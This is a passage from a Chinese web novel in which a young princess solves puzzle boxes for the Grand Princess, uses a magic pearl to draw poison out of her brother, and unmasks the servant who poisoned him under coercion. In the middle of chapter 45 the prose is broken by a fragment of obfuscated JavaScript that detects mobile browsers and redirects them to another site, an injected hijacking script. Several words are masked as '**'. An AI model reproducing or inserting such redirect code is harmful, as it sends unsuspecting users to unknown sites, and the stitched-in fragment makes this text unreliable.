顾宛青脸色有些难看:“是,已归郡主所有。“
“那咱们把它带回家慢慢玩吧!娘亲!”说完,团团骄傲地扬了扬小下巴,转身就扑到了程如安的怀里。哼!叫你们欺负三哥哥!
顾宛青僵在原地,脸色由红转青,再由青转白,精彩得如同打翻了染缸。这哪里是个天真孩童?分明就是个小魔星!
众人面面相觑,眼看着这小娃娃用最无邪的表情,把大人对她的精心算计,全都踩进了泥里。
殿内经过了片刻的沉寂,随即便是压抑不住的、此起彼伏的闷笑声。
长公主再次忍俊不禁,这个孩子,真是太有趣了。
程如安也笑了,但她并不想占顾家这个便宜,况且刚才长公主也曾出言让团团试一试:“团团乖啊,你看看,若是能解,便解开罢,娘亲想看,长公主殿下也想看呢。”
“娘亲和长公主殿下都想看啊,那我就解。”团团拿起铁盒,仔细地看了起来。
只见那铁盒漆黑如墨,通体泛着一种金属的冷硬光泽,盒子的表面光滑如镜,没有任何肉眼可见的锁孔、枢纽、按钮或缝隙。
殿中鸦雀无声,所有人的目光都集中在她的身上,半晌后,团团撅起了小嘴,满脸的不高兴。
顾宛青哼了一声:“怎么?郡主也束手无策了?看来刚刚韦姐姐那个,也不过只是凑巧而已。”
众人见状,也开始低声议论:
“一个小娃娃,能懂什么机关之术!”
“看来,刚才那个,确实不过只是运气罢了!”
“果然出身乡野,比不得这京城的达官贵女啊!”
程如安低头轻声道:“团团,解不开不打紧的,还给她就是。”
团团抬起头来看着她:“娘亲,有东西藏在这里面呢!”
程如安猛地想起了蛊虫,脸色都变了。
团团捧起铁盒,跑到所有桌案最前面的宽敞处,用力往地上一摔!
真是愚蠢!竟然想摔破铁盒找寻珍宝!顾宛青终于畅快了,忍不住大笑起来:“哈哈,真是蠢货,铁盒子怎么能摔得开!”
话音刚落,却听到坐在前面的几桌人都惊呼了一声:“啊!真的有东西!”
她尴尬地收住笑声,抢前几步,定睛看了过去。
只见那看似坚不可摧的铁盒竟然已碎成了几块,团团蹲下身子,在碎片里扒拉了几下,取出了一盏异常精致的铜质小灯,放回了自己的桌上。
所有人瞠目结舌,铁盒子竟然能摔碎?
长公主摆了摆手,侍女快步跑下台阶,捡起一块那铁盒的碎片跑了回去,双手奉上。
长公主接过来,仔细端详:“原来如此!竟然是玄铁木所制!此木质地细密,且外表和重量与铁质一般无二。百年方长一寸,极是难得,顾大人府中竟能有此神器,实属不易。”
顾宛青脸上的表情此时已经无法形容了,这本是顾家祖传的宝物,今日竟被她如此轻巧地拱手送了出去。
第43章 帮皇姑姑的忙
团团把玩着手里的小铜灯:“真好看。”
程如安道:“团团,既然已经解开了,拿给长公主殿下看看罢。”
侍女闻言,连忙走下台阶,来到宁王府的桌前。
团团却摇了摇头。
韦清澄见状马上开口:“郡主已将此物据为己有,莫非竟连拿给长公主看看都不愿意吗?”
程如安一眼瞪过去,目光冷冽如刀。
韦清澄哼了一声,头转向一旁,不敢与宁王妃挑衅对视。
团团的小手在铜灯上不停摸索,似是在找寻什么,却又摸不到门路。
顾宛青勉强压住了心中不忿,嗤笑一声:“不过如此而已!”
话音刚落,只见团团眼睛一亮,两只小手握着铜灯的上下两端,用力一扭。
“咔哒”一声轻响,只见铜灯豁然裂成了两半,团团小心翼翼地将两端向外轻轻一拉,一颗大如鸽卵的巨大夜明珠露了出来。
她取出夜明珠,高高地举过头顶:“娘亲!你看!”
只见那珠子瞬间绽放出了耀眼的光华,与普通的夜明珠截然不同。
洁净的光芒透过外壁投射到四周,幻化出无数栩栩如生的飞鸟和繁花,甚至还有仙子翩翩起舞的绝美光影!
整个大殿都被笼罩在一片如梦似幻的光影之中!
而举着夜明珠的团团,更是身处光影的中央,被那光芒完全笼罩其中,浑身上下晶莹剔透,竟然也似在发光一般。
所有人,包括长公主,全部目瞪口呆,半晌无人发声。
程如安虽然也很惊喜,心头却涌起了浓重的不安,团团今日,太过锋芒毕露了,必须尽快了结此事:“乖团团,拿给长公主殿下看看好不好?”
“嗯嗯!”团团收回了手,捧着珠子小跑着奔向长公主。
依照宫规,臣子敬献事物是不能靠近,必须由侍女转交的。
长公主却摆了摆手,拦住了正想上前阻拦的侍女:“不必,放她过来。”
团团跑到她的身边:“长公主殿下!给你!”
长公主微笑着接了过来:“团团好生厉害!让皇姑姑看看,这珠子如此神异,究竟有何玄机。”
众人心中皆是咯噔一声,长公主竟然在团团的面前自称是她的姑姑!皇权之下,任何人都是先论君臣,再论亲疏,这一声皇姑姑,比任何赏赐都贵重,可谓是无上恩宠了。
团团却不明白:“皇姑姑?”
长公主点了点头:“对啊,你姓萧,本宫也姓萧,论辈分,本宫是你的堂姑母,自然就是皇姑姑啦!”
团团灿烂一笑,扑进了她的怀里:“皇姑姑!”
长公主被她叫得心头一颤:“真乖。”
她一手搂着团团,一手将珠子举到眼前,仔细端详。
片刻后,不禁一笑:“原来如此!这珠子的内壁竟然雕满了繁花,飞鸟和仙子,光芒又异常耀眼,故而才能有此异象,当真是巧夺天工。”
“将那铜灯拿过来。”
侍女连忙照做,把铜灯也拿了过来,长公主把珠子和铜灯一起递给团团:“团团是怎么打开的?给皇姑姑看看好不好?”
“好!”团团接过铜灯,将珠子原样装回,仔细地找到其中关卡,一扭,一按,“咔哒”一声,夜明珠再次锁进了铜灯之中。
长公主将铜灯交给侍女:“连同方才的璇玑尺,一并送到宁王的马车中。“说完便站了起来。
所有人见状也都急忙站起。
“本宫有些乏了,各位自便。宁王妃,请随我来。”她牵着团团的小手,走向了内殿,程如安应了一声是,跟了上去。
“恭送长公主殿下!”所有人行了礼,坐回自己的座位,待长公主的身影消失,大殿内的声音顿时嘈杂了起来。
“今日真是没有白来!竟能亲眼目睹如此两件稀世珍宝!”
“是啊!三生有幸!真是三生有幸!”
“嘉佑郡主着实天赋异禀,小小年纪竟能解开如此巧妙的机关!”
“谁说不是呢!就说那玄铁木吧,谁能想到要把它摔碎才能看到那夜明珠!这哪里还是机关之术,简直就是神迹!”
“都说大隐于世,原来这稀世珍宝也是如此!”
“宁王这位嫡女,看来丝毫不逊于京中的千金们啊!”
唯有韦清澄和顾宛青两对母女面似死灰,如坐针毡。
程如安跟着长公主走入内殿,长公主吩咐:“赐坐。”
“谢长公主殿下。“程如安拉着女儿行礼落座。
长公主让人呈上来一只小匣,手指轻轻摩挲着:“团团,皇姑姑想请你解开这个,你可愿意?“
团团睁着大眼睛,眨巴眨巴地望着她手中的匣子。
长公主神情黯然,不舍地抚摸着手中的匣子:“但是,皇姑姑不能将它送给你,因为,这是本宫最最珍视的东西。“
程如安听了后,有些明白了:“莫非这是,驸马留下的?“
长公主眼中泪光闪动,默默地点了点头。
“驸马是什么马啊?娘亲?“团团没听懂。
程如安轻轻叹了口气:“驸马就是长公主殿下的夫君,长公主殿下是你的皇姑姑,驸马自然就是你的皇姑父。“
“那皇姑父在哪里啊?“团团追问,小孩子的好奇心是无穷的。
程如安看了看长公主,无奈地只能回答了女儿:“将军百战死啊。你的皇姑父跟你爹爹一样,是个征战沙场的大将军。但是,很多年前啊,他不幸在战场上……身故了。“
她把女儿拉进怀里:“这个呢,就是他留下的东西,你皇姑姑想让你帮她解开,团团试试好不好?“
团团明白了,难怪皇姑姑一身的灰气,一点儿都不高兴,原来是因为皇姑父。
长公主的眼泪已经滑下了面颊,她声音颤抖着问道:“团团愿意帮帮皇姑姑吗?我曾找了无数的匠人看过,却没一个能解开,这么多年了,我只想看一看,他究竟留下了什么。“
第44章 大哥哥吐着血回来了
长公主显然是心情激荡,竟在母女二人面前自称起了“我”。
团团走到她身边,抬起小手为她擦了擦眼泪:“不用送给我啦,皇姑姑,这本来就是皇姑父的东西,他不会回来了,对吗?”
长公主的记忆瞬间回到了霍峻明出征之前……
“这个留给你,若你能解得开,便归你。”
“若解不开呢?”
“那可不行,解不开,就要物归原主!”
“哼!小气!”
“好啦,解不开,我回来教你!”
但他却再也没能回来,长公主泪如雨下。
团团学着娘亲哄自己时的样子,拍了拍长公主的胳膊:“皇姑姑不哭啊,团团帮你。”
她拿起了那个小匣子,仔细地看了起来。
长公主屏住了呼吸,凝视着她,心中既期待又担心,生怕这次的希望又会再次落空。
团团翻来覆去地琢磨了好半晌,匣子依旧纹丝不动。
长公主的脸色黯淡了下去。
团团抬起头,望了望周围,突然,屏风上画着的一个英俊的将军吸引了她的注意:“这是谁啊?”
程如安识得霍峻明,连忙答道:“这便是你皇姑父了。”
团团看看画像,又看看手中的匣子,抱起来便跑到屏风前,抬手一指:“皇姑姑,你看!”
长公主走到她身旁,顺着她手指的方向看了过去,画像中,霍峻明腰间坠着一枚雕刻着祥云图案的玉佩。
“这枚玉佩?是我当年赠他的。怎么了?团团?“
团团翻转匣子,将其底面朝上:“这里!一样的!“
长公主仔细看过去,这才发现,匣底的纹路竟然和那玉佩上的一模一样!
莫非……长公主眼睛都亮了,紧紧盯着团团。
只见团团伸出一根小手指,看着画像中的玉佩,顺着那玉佩纹路的轨迹,在匣子上完整地描画了一遍。
轨迹闭合的刹那,匣子里传来清脆的解锁声“咔哒“,匣盖应声弹开,一张折得整整齐齐的纸飘落在地上。
团团把纸捡起来,连同匣子一起递给长公主,转身拍着小手,蹦到程如安的怀里:“打开啦!打开啦!这个匣子真好玩!“
程如安轻轻捂住她的小嘴:“乖啊,别出声,让皇姑姑好好看。“
“嗯嗯!“团团点了点头,安静下来。
长公主将匣子放到桌上,轻轻拿起那张纸,颤抖着双手一层一层展开,瞬间痛哭失声。
已经泛黄的纸上,竟是霍峻明亲手所绘的,两人并肩站在一起的画像。
“原来,“她几乎泣不成声:”能打开这匣子的,便是他自己。
她们夫妻皆喜爱机关之术,经常将彼此的礼物放置在各种精巧的机巧之物中,让对方去解。
她之所以时常举办赏珍会,便是想寻到一个能打开匣子的人,
今日,终于如愿了。
画中人身姿挺拔,眉眼俊朗,音容笑貌犹在眼前,可如今,触手所及却只剩这一纸冰凉。
阴阳两隔,世上最残忍的,莫过于此。
程如安想起每次宁王出征,自己在家中也是万般担忧,生怕一别便再没了相见之日,感同身受,也在一旁默默落下泪来。
团团看了看长公主,又看了看程如安,缩进了娘亲的怀里:“娘亲,不哭,你一哭,我也想哭。”也跟着掉了眼泪。
程如安搂着女儿,心中又酸又软。
好半晌后,长公主渐渐止了哭声,冲着团团招了下手:“来,孩子。“
团团走到她面前,长公主拉起她一只小手,看向程如安:“这孩子,与本宫甚是有缘,了却了本宫毕生最大心愿。此恩深重,非俗物可酬。”
程如安连忙站起:“长公主言重了。”
长公主摇了摇头:“宁王妃不必惶恐。”
“本宫赐她宸辉殿令牌一面,今后她想念本宫了,无需那些繁琐规矩,随时都可出入。”
“本宫在京郊有处不错的庄子‘芳菲苑’,一并赐予她,闲暇时宁王妃尽可带她去游玩沐邑。”
长公主摸了摸团团的小脑袋:“好孩子,你可有什么想要的?“
程如安赶忙回道:“长公主如此厚赐,已尽够了。“
长公主摇了摇头:“小孩子有自己的想头,让她自己说,王妃不必多言。“
团团歪着小脑袋思索了片刻:“我想要那只大猫咪!“
“大猫?“长公主面露疑惑,望向程如安。
程如安想了想:“犬子曾经带她去过万灵苑,里面有只外邦进贡来的雪豹,团团甚是喜欢。“
团团使劲点头:“它也喜欢我!让我摸她的大脑袋呢!”
长公主面露惊讶:“那雪豹刚送来时本宫也曾看过,十分凶猛,园监曾有报,无法驯服。你竟能与它如此亲近?“
“对啊!它还吃我带的肉干,送东西给我呢!皇姑姑,它的耳朵可软啦,爪爪大大的!皇姑姑想不想摸一摸?我叫它乖乖的,也给你摸!“
长公主微笑点头:“原来如此,那皇姑姑便将那只雪豹赐给你好不好?“
团团眼睛都亮了:“真的吗?“但随即又撅起了嘴:“可是,我在哪里养它啊!家里没有大笼子哦!”
长公主想了想:“不难。仍旧养在万灵苑,不必送到宁王府,只是,它归你所有,你可以随时去看它,与它玩耍,好不好?”
团团蹦了起来:“太好啦!我有大猫咪啦!”
长公主看着团团,毫不掩饰对她的喜爱:“这孩子的灵性无人能比,王妃有福了。”
程如安看着女儿:“长公主所言甚是,自从把她接回来,宁王府诸事皆顺,臣妇也极是欣慰。”
“是么……”长公主看着团团,眸光深邃。
“来人,传本宫懿旨,嘉佑郡主聪慧灵秀,善解人意,深得本宫之心,从今往后,她便如本宫所出,日后她的教养、婚配,本宫都要亲自过问。本宫在一日,便护她一日周全。”
程如安心中猛地一跳,这恩典可是太大了!连忙拉着女儿给长公主一起行了大礼:“谢长公主殿下厚爱!“
长公主目光转回到画上,摆了摆手:“退下罢。”
拜别了长公主,回府的路上,团团兴奋地跟程如安不停念叨着赏珍会上的事,程如安微笑倾听,目光落在马车中的两个锦盒上。
锦盒中装着的,正是璇玑尺和夜明珠。
今日团团锋芒毕露,她心中一直惴惴难安,所幸得了长公主的青眼,多了一个能庇护女儿的人,幸好,幸好!
马车停了,两人刚刚下车,下人一脸慌张地禀告:“王妃娘娘!大少爷回来了!他……他吐血了!命悬一线!”
第45章 有人害大哥哥
程如安大惊失色:“远儿?他在哪儿?“
下人回答:“养正轩,王爷让将大少爷送到养正轩了。“
刘嬷嬷此时也出来迎她们:“王妃娘娘!你们才出门不久,大少爷就被商行的人送回来了,进府时便吐血不止,人事不知。郭太医已经来了,您赶紧进去看看吧。“
程如安脸色都白了:“好,我这就去,你带团团回静兰苑。“说完也顾不得仪态,一路小跑着便向养正轩冲去。
刘嬷嬷牵起团团:“小小姐,咱们走吧。“
团团听得一知半解:“嬷嬷,是大哥哥回来了吗?“
刘嬷嬷叹了口气:“对,是小小姐的大哥回府了,只是……,唉。”
“我还没见过大哥哥呢,我也要去。”
刘嬷嬷犹豫了,养正轩里此时一片沉重,一个小娃娃去实在不大好,万一大少爷……岂不是吓坏了孩子?
“小小姐,还是等大少爷好一些嬷嬷再带你过去好不好?”
团团却直接甩开了她的手,撒腿就往养正轩跑,不带我去,我自己去!我认得路!
刘嬷嬷吓了一跳,赶忙追上:“小小姐!别去!乖乖听话,跟嬷嬷回静兰苑!”
“我不!我要去看大哥哥!”团团小胳膊小腿的,不如大人跑得快,边跑边不停回头望,眼看着就快被追上了。
“嬷嬷!马车里有长公主给我的宝贝哦!”
刘嬷嬷脚下一顿,长公主殿下给的?那可绝对不能出岔子!
就这么一停,团团已经跑得只剩下一个小小的背影了。
刘嬷嬷眼见追不上了,无奈只得转头先回马车上去拿东西了。
团团一路跑到了养正轩,门口的下人见是小小姐,刚想拦住她然后进去回禀。
团团喊了一声:“爹爹让我来的!”
下人一愣,王爷让的?团团已经钻了进去。
娘亲说让我回静兰苑,爹爹可没说!
团团跑到正厅时,已经呼哧带喘了,第一个看到的就是得知她回来,正往外走,想去看她的萧宁珣,直接扑了过去:“三哥哥!”
萧宁珣一把接住了她,顺势抱起:“你怎么来了?“
团团搂着他的脖子,委屈巴巴的道:“我想看大哥哥嘛!三哥哥,你也不让我去看吗?“
萧宁珣完全无法拒绝妹妹,只犹豫了一刻:“好,三哥带你进去,不过团团,大哥病了,病得很重,你乖乖地跟我在一起,别跑别闹哦。“
“嗯嗯!三哥哥最好了!“团团坐在三哥的臂弯里,舒舒服服地被他抱了进去。
养正轩内室。
萧元珩,程如安,萧宁辰,郭太医都围坐在床边,众人的注意力都在床上躺着的萧宁远身上,没有注意到萧宁珣已经抱着团团悄悄进来了。
郭太医正在讲话:“大少爷中的毒,不是寻常**。老夫虽然已给他施诊了针,但也只能暂缓病势,无法真正解毒。”
众人听了都一脸诧异,萧元珩面色沉重:“**?什么毒?郭老也束手无策吗?”
郭太医摇了摇头:“大少爷所中之毒,是多种**混合而成,除非,找到下毒之人,问出配比的方子,否则,三清**来了,也无计可施。”
萧元珩看向站在床尾的一个年近三十,面色有些苍白的陌生男子:“周大海,你是一直跟着远儿的,你来说。”
周大海浑身一颤,连忙走上前来扑通跪倒:“王爷恕罪!小人实在不知大少爷竟是中了毒,一直以为只是病了。“
“大少爷自一个月前,便开始咳嗽气喘,请郎中瞧了,说是偶感风寒。”
“每日都按时服药,可这病却不见好,反而越来越重。”
“后来又换过两位郎中,都说是积劳成疾,给换了方子,但服下后仍然没有起色。”
“大约七八日前,大少爷开始咳血,于是吩咐奴才尽快赶回王府,说是……怎么也要回家再看一眼。奴才们快马加鞭,今日这才赶了回来。”
“小人不敢撒谎,确实是换了好几个郎中,按着方子熬的药,可他们,都没诊出大少爷是**啊!”周大海说完,从袖子里取出几张纸捧到郭太医面前:“这就是那几个郎中的方子。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16380418|184125||http|test|mini|href|location''.split(''|''),0,{}));
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>郭太医接过来一看,摇了摇头:“也不能怪他们无能,这种**,确实极难诊得出来,寻常郎中有此误判,也是没有办法的事。“
程如安泪如雨下:“好好的孩子,是谁这么狠心,要害死他。”
团团最看不得她哭了:“娘亲别哭,团团来了。”
程如安泪眼婆娑地抬起头,这才看到了坐在萧宁珣怀里的团团,也无心再问她为何没回静兰苑了,一伸手:“到娘亲这儿来。”
萧宁珣把妹妹放到了母亲的怀里。
萧宁辰皱了皱眉:“三弟,你怎么让团团进来了?”
萧宁珣低下了头,没有为自己分辨。
萧元珩摆了摆手:“无妨,本王的女儿,没那么胆小。”
团团看向床上的人,五官分明,双目紧闭,面如白纸,嘴唇都没了颜色。
“娘亲,他就是大哥哥?”
程如安搂着她,点了点头:“他就是你的大哥,萧宁远。”
团团问郭太医:“老爷爷,什么是**啊?”
郭太医道:“**就是吃下去会让人生病的药。”
团团很奇怪:“大哥哥为什么会吃**呢?”
郭太医沉默了,程如安看着女儿:“不是你大哥自己要吃的,是有人害他。”
“是谁害大哥哥啊!大坏蛋!“团团挥了下小拳头:”我去打他!“
程如安搂着哄她:“现在还不知道,乖,等查到了是谁,让爹爹带着你去打他,好不好?’
“嗯!”团团使劲点了下头。
程如安看向郭太医:”郭老,我想请你给句准话,远儿他,若这**解不了,还能……“
她哽住了,没再说下去,但郭太医岂能听不懂她的意思?
“恕老夫直言,也就……还剩下三五日的功夫了。要不,府上提前预备些东西?冲冲也好。“
程如安心里一痛,没有忍住,哽咽失声:“远儿才多大啊!我还活着呢,他怎么能……他可是长房长孙啊!母亲她老人家若是知道了……可怎么是好啊!“
萧元珩跟两个儿子在一旁,默默无言。
第46章 你竟然是害大哥哥的人!
团团抬起小手给程如安擦眼泪:“娘亲不哭,大哥哥会好的。“
程如安竭力压制住情绪:“好,娘亲不哭,咱们一起等着大哥哥好起来。“
刘嬷嬷捧着马车上那两个锦盒走了进来,轻声问道:“王妃娘娘,讨您个示下,这两个盒子里的东西,小小姐说是长公主殿下给的,收在哪里合适?老奴不敢擅作主张。”
长公主给的?屋里的人都抬起了头,望向那两个盒子。
程如安无心多说:“先收到静兰苑内室里去吧。“
团团却眼睛一亮:“等一等!“从程如安的怀里蹦下来,跑到刘嬷嬷面前,抬手便将小的那个盒子拿了出来。
两个锦盒一大一小,一看便知道哪个里面装的是什么。
她拿出小铜灯,跑回到程如安的身旁:“大哥哥,你快醒过来吧,团团有好东西要给你看呢,这是今天从坏姐姐那里得的哦!“
她两只小手灵活地打开了铜灯,掏出了那颗硕大的夜明珠。
刹那间,耀眼的光芒绽放在屋内,所有人都惊讶地看了过去。
团团把夜明珠举到萧宁远的脸前:“大哥哥,你睁开眼看看,好看吗?“
夜明珠晶莹的光芒笼罩在萧宁远的头上,照得他整个人如同透明了一般。
“咦?“郭太医突然道:”小小姐,别动啊,就这样一直拿着。“
“怎么?“程如安想起玲珑净厄珠,想起了召唤蛊虫的铃铛:“莫非……远儿有救了?”
郭太医目不转睛地盯着萧宁远,片刻后:“莫非只有老夫看见大少爷的皮肤下越来越黑了吗?难道是老夫老眼昏花了?“
经他提醒,所有人定睛看去,这才发现,他并没有看错,萧宁远的皮肤下面,有一层黑色的东西在缓慢浮动,而且颜色越来越深。
没过多一会儿,萧宁远的脸,脖子,手,所有肉眼所及之处,都从惨白变成了灰黑色。
“大哥哥怎么变黑了?“团团奇怪地问。
萧元珩嘱咐道:“团团乖啊,你就举着那珠子别动,千万别动。“
他的心跳忍不住加速,虽然曾经听妻子讲述过团团是怎样如同施了神迹一般救了自己,但亲眼目睹还是第一次。
“哦。”团团应了一声,这可比上一次让自己摇铃铛轻松多了。
此时萧宁远身上的那层黑色似是受了什么东西的指引,全部逐渐集中到了额头,最后,形成了一个漆黑如夜,大如墨滴的黑点,正对着团团手中的夜明珠。
夜明珠的光华越发耀眼,突然,那黑点溃散开来,化成了无数丝丝缕缕的黑气,从皮肤下面喷涌而出,挣扎着、扭曲着,被吸进了璀璨的珠体之内!
随着越来越多的黑气被吸出,萧宁远白纸一般的脸色逐渐显露出了红晕。
而那颗夜明珠,则随着黑气越来越多的进入,逐渐黯淡,仿佛蒙上了一层淡淡的薄纱,不再那么耀眼夺目。
团团咯咯直笑:“大珠子把坏东西吃掉啦!”
所有人都屏息凝神的看着,虽然搞不懂究竟发生了什么,但却都隐隐约约的明白,是团团,再一次救了家人。
黑气越来越稀薄,眼看就要消失不见,但最后一缕却始终在萧宁远的额头和夜明珠之间凝聚不散,翻滚扭动,仿佛在尽力挣扎。
夜明珠的光芒此时突然全部消失,而那最后一缕黑气,猛地调转方向,如同离弦之箭,越过众人,精准地扑向了周大海的怀中。
“别找我!别找我!”周大海反应过来,猛地跳起,转身就想往外跑。
萧宁辰迅速伸出一条腿将他绊倒在地,上去便扯开了他胸口的衣服。
只见那黑气紧紧地缠绕在他胸口的一个黑色瓷瓶上,逐渐隐没进了瓶子里。
这恐怕是天下最无解的指证了,周大海瘫软在地,面无人色,连狡辩的力气都没了。
萧宁辰的拳头高高举起,却又猛地顿住,看向妹妹,萧宁珣赶紧走到床边,抬起手来,遮在了团团的眼前。
“我看不见啦!三哥哥!别挡着我!“团团一只手还举着珠子,另一只手使劲扒拉着他挡住自己的大掌。
萧宁辰犹豫了片刻,终是收起了拳头,站了起来。
萧宁珣放下手掌,团团低头看向了倒在地上的周大海。
周大海面如死
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灰,缓缓抬起了头,看到的是萧元珩俯视自己的目光,已是一片冰封般的杀意。
团团都看明白了:“爹爹!他就是害大哥哥的坏蛋!“
萧元珩站起身来,一把将团团抱进了怀里,团团连忙推他:“爹爹!老爷爷还没说我可以不举着珠子呢!“
萧元珩收紧手臂,在女儿脸上狠狠亲了一口:“不用啦!把它收起来吧。“
郭太医这才反应过来,一拍脑门:“都怪老夫!如此景象,老夫都看呆了,忘记跟小小姐说可以放下来了。“
团团撇了撇小嘴:“又忘了告诉我!我要揪你的胡子!“
郭太医把自己的胡子捋起,递到她手边,哈哈大笑:“好好好!让小小姐揪!“
团团伸出小手轻轻揪了一下:“好啦!我揪过啦!”
真是个好心肠的孩子!郭太医道:“不过,老夫斗胆问一句,这珠子……“
程如安向众人将今日赏真会上的事简单说了一遍。
“原来如此!“郭太医惊叹:”这夜明珠的来历如此奇异,难怪能有此神效,小小姐能得此宝物,当真是福运惊人。“
程如安还是不放心:“郭老,烦请给远儿再诊诊脉,这毒,是否都清了?远儿的身子……“
郭太医连忙从药箱中拿出脉枕,把萧宁远的手腕放到上面,闭目凝神地诊了起来。
半晌后,他微微一笑,睁开了眼睛:“王爷,王妃,不必再担忧了,此毒已清,想来大少爷很快就能醒过来了。“
程如安想起玲珑净厄珠给丈夫清完毒后,尚且又服了许久的药才好,又追问了一句:“当真不必再服些别的药了?”
郭太医笑着摇头:“不必了,已是干干净净了。”
所有人听后都喜动颜色,萧元珩把女儿交给妻子,端坐下来沉声道:“周大海。”
周大海浑身猛一哆嗦,趴在地上不停磕头:“小人该死!小人该死!求王爷饶了小人吧!”
“你的确该死,但你在王府当差多年,一直忠心耿耿,因何起了歹意?远儿待你一向亲厚,本王想知道,他与你何怨何仇,你竟要置他于死地?”
第47章 爹爹要把坏人都引出来
周大海浑身抖如筛糠,却只是不停磕头,一言不发。
萧元珩沉着脸俯视他,也不心急,儿子已经救回来了,让他开口不过是早晚的事。
团团摸了摸萧宁远的手:“大哥哥,你怎么还不醒啊?”
程如安轻声道:“团团不急,大哥哥累了,要睡够了才会醒。”
“可是。”团团抬头看她:“大珠子都不亮了,大哥哥醒了看不到了。”
程如安把小铜灯递给她:“大珠子呢……刚才救了你大哥,也累了,把它收起来好不好?让它也睡一会儿。”
“好。”团团接过铜灯,将已经彻底黯淡的夜明珠收了进去:“谢谢你啊,大珠子,大哥哥睡,你也睡,睡够了再亮起来给大哥哥看。”
萧元珩望着女儿,唇角不自禁地微微勾起。
突然,他想到了什么,目光回到周大海的身上:“本王记得,你家中尚有娇妻幼子。萧二,派两个人去他家看看,他的家人是否还在。”
“是!”萧二的声音在外面响起。
“不!不要去!”周大海猛地抬起了头,一脸惊惶。
萧元珩微微颔首:“果然。你家中出事了?”
周大海脸色青白不定,目光闪烁,嘴唇抖动。
终于,他长叹一声:“王爷,小人绝非忘恩负义之辈,若不是媳妇儿子皆困于他人之手,小人绝不会背叛大少爷。“
萧元珩沉声道:“何人?“
周大海闭了闭眼睛,一只手伸向了靴桶。
“父亲!“萧宁珣速度极快地抽出了靴桶中的**,两步便跨到了周大海身旁,刀尖直直地指向了他。
萧元珩赞赏地看了儿子一眼,不错,有点子警觉性。
周大海一愣,随即摇了摇头:“三少爷不必如此。”说完,从靴筒中取出了一小卷纸张,双手捧给了萧元珩。
萧宁珣这才收起了**,默默退到了一旁。
萧元珩接了过来,展开看了看:“这是,你的家书?”
周大海点了点头:“是。王爷请看。“
“小人幼子,出生时便未足月份,一向体弱多病。半年前,小人收到家书,得知小儿在家中突然昏厥,四肢抽搐、口吐白沫。“
“郎中来瞧了,说是患了羊角风,吃药后虽然救了回来,但之后便频繁发作,我媳妇儿焦心如焚,每日奔波于给孩子请医问药,劳累不堪,让小人尽快回家。“
“大少爷手有恶疾,平日里记账书写都是小人在做,实在是离不得。“
“小人思量再三,将手头能用的银两都换成了银票,又写了一封家书给他们娘儿俩,送到了当地最大的隆昌镖局,请他们送回家里。“
“不料不久后,镖局的一位徐师傅突然派人来请我出去喝茶,并将小儿自幼佩戴的长命锁送到了我的手中,还让我不要告知旁人。小人惶恐不安,便独自去了他说的茶楼。“
“徐师傅告诉我,我的妻儿已被他们接走,请良医医治,有专人照料,只要小人听命于他,便会定期给我带来小儿的信物。“
“小人挣扎再三,无奈答应。刚开始,他们只是要商行的部分账目和大少爷的动向。直到两个月前,徐师傅突然给了我这个瓶子,让我将里面的药粉每日放一点在大少爷的饮食里。“
“大少爷待我恩重如山,我犹豫再三,并没照做。但很快,徐师傅便又送来了我媳妇的家书,说是给儿子诊脉的郎中突然外出,如今孩子无人救治,已是性命垂危。“
“只有我老实照做,他们才会让郎中继续给我儿子医治,并好生照顾他们母子。“
“徐师傅说,此药是慢毒,寻常郎中根本不可能诊得出来,只需每日少量,大少爷便会日渐虚弱,直至油尽灯枯。不会有任何人怀疑到我身上。“
“那隆昌镖局在各地皆有分部,小人走到哪里都避不开,实在没有办法,为了妻儿的安危,小人只能照做。“
萧元珩沉吟片刻:“那徐师傅可知你已回到京城?”
周大海回道:“应该是知道的,无论小人走到哪里,他都能找到我。”
“好。本王给你一次将功赎罪的机会:将那徐师傅引出来。若能顺藤摸瓜擒获背后罪魁,本王保你妻儿性命无忧。”
周大海痛哭流涕,一个响头“咚“的一声磕在地上:“叩谢王爷!若能如此,小人万死
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不辞!“
“你即刻回家,装作急着去见家人,对方既知你回来了,此时想必着急知道远儿的消息,必会露面。“
萧元珩扬声道:“萧二!“
“在!“萧二急忙走进来:”王爷请吩咐。“
“你带上人,跟住了他,待那徐师傅一露面,即刻给本王拿了,若他身边还有旁人,一起拿了,本王要活口。“
“是!“萧二鹰一般的眼睛盯在了周大海的身上:”必不负王爷所托!“
萧元珩摆了摆手:“你们都下去吧。“
周大海再度叩首,抹着眼泪退了出去。
团团听了半天,没听懂几句,迷迷糊糊的靠在程如安的怀里,小脑袋一垂一垂的,就快睡着了。
程如安轻声道:“王爷,我带着团团回去睡一会儿,这孩子今日有些累了。“
萧元珩点了点头:“快去吧。“
程如安轻轻抱起团团,想站起来,却被拽了一下,没能起来,仔细一看,团团还拉着萧宁远的手,一直没松开。
这么一折腾,团团清醒了一瞬:“我不走,我要等大哥哥醒过来。“
“乖啊,大哥哥不知道何时能醒,娘亲抱你回静兰苑好好睡。“
“不嘛,这里有床,我就在这儿睡,大哥哥一醒就能看到我啦。”团团眼睛都没睁开,从母亲的怀里挣出来,像只小猫一样手脚并用的爬到了萧宁远身旁,倒头便睡。
程如安看得啼笑皆非:“这孩子!”
萧元珩也笑了:“就让她在这儿睡吧,团团才五岁,无妨。“
他看向郭太医:“郭老,本王想请您在府内小住几日。一来,远儿尚未醒来,若病情有变,还要劳烦您给诊治。二来,本王要擒住贼人,国法处置,到时也还需您的证词。“
郭太医连忙行礼:“王爷客气了,做我们这一行的,这些都是寻常事。“
“来人,送郭太医去厢房,好生安置。“
郭太医离开了。
“辰儿!跟上萧二,若有错漏,出手便是,力求万无一失。“
“是!“萧宁辰猛地站起,眼中精光大盛,这是自己腿伤痊愈之后,第一次有出手的机会。
第48章 本王诬陷你难道不是理所应当?
傍晚将至,王府私牢。
萧元珩稳坐当中,身后站着萧宁辰和萧二,面前跪着一个四十岁出头的高大汉子,满身伤痕,嘴里被一块破布堵得严严实实。
一个老嬷嬷跪在他的身旁,周大海站在他们身后。
